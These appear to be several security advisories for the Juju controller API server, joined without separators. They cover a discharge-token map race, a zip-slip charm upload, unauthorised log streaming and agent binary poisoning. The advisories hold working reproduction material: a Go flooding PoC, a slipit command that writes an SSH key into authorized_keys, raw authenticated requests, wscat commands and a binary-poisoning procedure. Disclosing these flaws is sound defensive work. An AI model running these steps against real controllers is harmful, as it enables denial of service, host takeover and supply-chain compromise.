Summary

The localLoginHandlers struct in the Juju API server maintains an in-memory map to store discharge tokens following successful local authentication. This map is accessed concurrently from multiple HTTP handler goroutines without any synchronization primitive protecting it. The absence of a mutex or equivalent mechanism means that concurrent reads, writes, and deletes on the map can trigger Go runtime panics and may allow a discharge token to be consumed more than once before deletion completes.

Details

When a user authenticates through the local login flow, a discharge token is generated and stored in a plain map[string]string field named userTokens. The form handler writes to this map when authentication succeeds, and the third-party caveat checker reads from and deletes from the same map when a discharge request arrives. Both code paths execute inside goroutines dispatched by the HTTP server, meaning concurrent requests will access the map simultaneously.

Go's runtime detects concurrent map access and will terminate the process with a fatal error when a write races with another write or read. This makes the API server susceptible to a denial-of-service attack from any authenticated user who can trigger simultaneous discharge requests. Beyond the crash scenario, the read-then-delete sequence in the caveat checker is not atomic. Two goroutines processing the same token concurrently may both pass the existence check before either executes the deletion, allowing a single-use discharge token to be accepted more than once and effectively replaying authentication.

The struct definition that introduces the unsafe field is shown below.

go type localLoginHandlers struct { authCtxt authContext userTokens map[string]string }

The concurrent access originates from the caveat checker calling username, ok := h.userTokens[tokenString] followed by delete(h.userTokens, tokenString) with no lock held, while formHandler concurrently executes h.userTokens[token] = username in a separate goroutine.

PoC

go package main

import ( "net/http" "sync" )

func main() { token := "acquired-discharge-token" endpoint := "https://target-juju-api:17070/local-login/discharge"

var wg sync.WaitGroup for i := 0; i < 20; i++ { wg.Add(1) go func() { defer wg.Done() req, := http.NewRequest("GET", endpoint+"?token="+token, nil) http.DefaultClient.Do(req) }() } wg.Wait() }

Impact

Any authenticated user who obtains a valid discharge token can send a burst of concurrent requests to the discharge endpoint. The most reliable outcome is a Go runtime panic caused by concurrent map access, which terminates the Juju API server process and denies service to all connected clients and agents. Under favorable timing conditions the same token may be accepted by multiple goroutines before deletion, bypassing the single-use enforcement and allowing repeated authentication with a token that should have been invalidated after first use.

Impact

Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.

Details

A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm> - POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms - GET https://<controller-ip>:17070/charms

These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.

To reproduce:

juju bootstrap juju add-user testuser juju change-user-password testuser

Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm

Download and install the following tool: https://github.com/usdAG/slipit

Run the following command to generate a new SSH key pair: ssh-keygen

Copy the contents of the newly created public key into a file called authorizedkeys

Run the following command to inject the malicious path into the ZIP file: slipit hello.zip authorizedkeys --separator ../../../../../../home/ ubuntu/.ssh/

Send the PUT request below to a model on the target controller. Note the following: - the model UUID and controller IP address in the request must be updated - the Juju-Curl header needs to be sent with a value that starts with the “local:” string - the PUT body content should have the exact contents of the ZIP file - the Basic Authorization header should be tied to the user that was created above - the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>) - PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c HTTP/1.1 Host: 10.4.154.217:17070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko /20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Connection: keep-alive Content-Length: 40021 Content-Type: application/zip Juju-Curl: local:pathtw Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA== <ZIP BODY Content>

Observe that the response states that the charm has been uploaded.

Attempt to SSH to the controller by using the private key that was generated above.

Observe that it is possible to authenticate because the file has been overwritten.

Code

The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990

And the only auth required is that the incoming request be for an authenticated user

https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754

but no specific permission checks are done.

Workarounds There are no known workarounds.

References F-02

Impact Any user with a Juju account on a controller can read debug log messages from the /log endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. The log messages may contain sensitive information.

Details

The /log endpoint is accessible at the following endpoints: - wss://<controller-ip>/log - wss://<controller-ip>/model/<model-uuid>/log

In order to connect to these endpoints, the client must pass an X-Juju-Client-Version header that matches the current version and pass credentials in a Basic Authorization header. Once connected, the service will stream log events even though the user is not authorised to view them.

To reproduce:

juju bootstrap juju add-user testuser juju change-user-password testuser Run the wscat command below to connect to wss://<controller-ip>:17070/api. Update the JSON payload to include the username and password that were created above.

wscat --no-check -c wss://contorller-ip:17070/model/modelUUID/api { "type": "Admin", "request": "Login", "version": 3, "params": { "client- version": "3.6.1.0", "auth-tag": "user-testuser", "credentials": " password" } }

Observe that the connection fails due to a lack of permissions.

Run the command below to connect to the log endpoint. Note that the credentials are passed in the --auth flag.

wscat --auth user-testuser:password -H "X-Juju-ClientVersion: 3.6.4" --no-check -c wss://<controller-ip>:17070/log

Observe that the logs are returned in the server’s response.

Code

The /log handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L867 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L980

And the only auth required is that the incoming request be for an authenticated user

https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L713

but no specific permission checks are done.

Workarounds There are no workarounds.

References F-01

Summary You can affect the agent binaries used in a Juju controller and the code that is run in the binaries by simply having a user account on a controller. You aren't required to have a model or any permissions. This just requires a user account in the controller database.

Details Because of the way Juju upload tools code works in the controller it only checks that the user uploading agent binaries is authenticated and is a user tag. No more checks are performed and it allows that user to upload binaries to any model they like (as long as they know the model uuid) or upload binaries to the controller (attacker doesn't need to know any uuid's for controller or controller model).

Once the poison binaries have been uploaded any new machine that is started in the affected model or controller will get started with the poison binaries. Alternatively administrator's of the controller running either juju upgrade-controller or juju upgrade-model will force distribution of the poisoned binaries to all machines in either the model or poison the controllers themselves.

On top of this the exploit can be done with the Juju client tooling itself and no real knowledge on constructing raw API requests is required.

The tools handler is the main piece of code that is used in the APIServer for handling upload requests and persisting the data uploaded: The following code references is how Juju uses and defines this: - The tools upload handler is defined here (https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L972) - The tools upload handler is created in the api server here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L766C2-L766C25). - The main authoriser that is used for the upload handler is created here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L770C2-L770C28) - The upload handler is registered for the model here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L902) - The upload handler is registered for the controller here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L972)

The authoriser that is used (https://github.com/juju/juju/blame/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/httpcontext.go#L209) only confirms that the logged in user is authenticated and authenticated as a user tag. No other checks are performed.

The toolsUploaderHandler also uses another server func for getting the Mongo state. This also confirms a logged in user but the state that is returned to the caller is scoped to whatever model the requester has asked for. No checks are performed to make sure that the user in question actually has access to this model or the controller. See code here (https://github.com/juju/juju/blob/4e50a28cdde17832aa31634915fbe7442dca6ab3/apiserver/httpcontext.go#L38). We end up here through a few layers of indirection of https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L768

We can also see that when handlers are registered with no model uuid scope in the handler like the controller registration of the tools upload handler, the model uuid gets defaulted to that of the controller model. See (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L690).

PoC This proof of concept was done with the latest tip of the juju/juju 3.6 branch (https://github.com/juju/juju/commit/cd12b4951d657a980e113564bf2ea82f167589fd). Pull this code and work from inside of the root of the code base. It is expected that this security issue applies to 2.9 onwards as well.

Repo steps:

1. Bootstrap a new controller to lxd. This was done with a compiled client from the branch but there is no reason performing this action from latest snap won't produce the same result. juju bootstrap localhost sec-demo

2. Add a new user to the controller. This is the user with no permissions or models that we will prove the problem with. juju add-user poisoner poisoner

3. From step 2 save the registration string that the juju client prints out.

4. We are going to remove the local juju admin credentials and information that was made during bootstrap. We will use this later on for confirming the attack. mv ~/.local/share/juju /tmp/juju-bak

5. Run the juju cli registration command for the new user that was saved from step 3. Set the new password to whatever you wish and then re-enter to login into the controller. After this step we are now logged in as an unprivileged user to the controller.

6. Apply the following patch to the currently checked out juju code base: cat <<EOF | git apply - diff --git a/cmd/jujud/main.go b/cmd/jujud/main.go index f268509a52..1b01a74b66 100644 --- a/cmd/jujud/main.go +++ b/cmd/jujud/main.go @@ -315,6 +315,16 @@ func Main(args []string) int { os.Exit(exiterr) }

+ logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("Got access to the binary") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + logger.Criticalf("----------------------") + var code int commandName := filepath.Base(args[0]) switch commandName { diff --git a/version/version.go b/version/version.go index 2bbc8968c8..40af52f337 100644 --- a/version/version.go +++ b/version/version.go @@ -18,7 +18,7 @@ import ( // The presence and format of this constant is very important. // The debian/rules build recipe uses this value for the version // number of the release package. -const version = "3.6.6" +const version = "3.6.7"

// UserAgentVersion defines a user agent version used for communication for // outside resources. EOF

7. Set bogus model information. To make the sync-agent-binary command work below we need to set a bogus model that is in use by the client. This is done through the local models.yaml file. The uuid featured here does not matter at and can be set to anything that parses as a uuid in juju. This is just to trick the client tooling, the attacker could just manually construct the http request their self to bypass this. cat <<EOF > ~/.local/share/juju/models.yaml controllers: sec-demo: models: admin/controller: uuid: 4dde46dd-a514-491e-8a5f-b908b5310c02 type: iaas branch: "" current-model: admin/controller EOF

8. Next build the changes with make simplestreams. 9. The output of step 9 will provide an export command to run. Please execute this command to point the juju client at your local simple streams cache. 10. Next sync the compiled agent binaries from step 9 to the controller with juju sync-agent-binary --debug --agent-version 3.6.7.

At this stage the controllers agent binary cache has been poisoned and the security issue has been proven.

11. We can now swap back to the administrator user to start forcing binary circulation. mv ~/.local/share/juju /tmp/juju-poison and then mv /tmp/juju-bak ~/.local/share/juju

At this stage the issue can be demonstrated with just a simple juju upgrade-controller and a controller upgrade will kick off. You can also upgrade a model. When I was testing this my upgrade-controller failed to shut down the controller for reasons unrelated to this security issue. I was able to log into the controller and confirm with sha256sum that the controller had downloaded the new binaries and the checksums matched. They were also symlink as the new binaries to run for machine-0. This was under /var/lib/juju/tools on the controller machine.

It would also be possible to affect new machines coming up in a model by repeating the steps above but changing the version to that of the model that you want to be poisoned.

Impact This is a bad vulnerability in my opinion. It allows a user with no permissions to eventually consume an entire juju controller with poisoned binaries and gain access to all of the infrastructure and secrets on that controller. Through model migration it would also be possible to poison other controllers that the user doesn't have access to.

This also requires that an administrator upgrade or migrate aspects of the controller. But a bad actor could affect brand new machines coming up in the system straight away.